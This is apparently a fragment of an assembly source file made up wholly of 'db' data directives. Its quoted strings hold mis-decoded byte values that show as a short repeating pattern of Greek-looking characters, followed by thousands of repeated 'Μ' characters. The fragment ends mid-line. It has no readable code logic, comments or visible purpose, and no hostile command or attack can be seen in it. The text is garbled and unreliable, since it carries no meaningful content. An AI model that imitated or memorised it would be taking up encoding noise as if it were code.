'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯' db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ' db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί' db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά' db '₯κίά₯κίά₯κίά₯κίά₯κΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 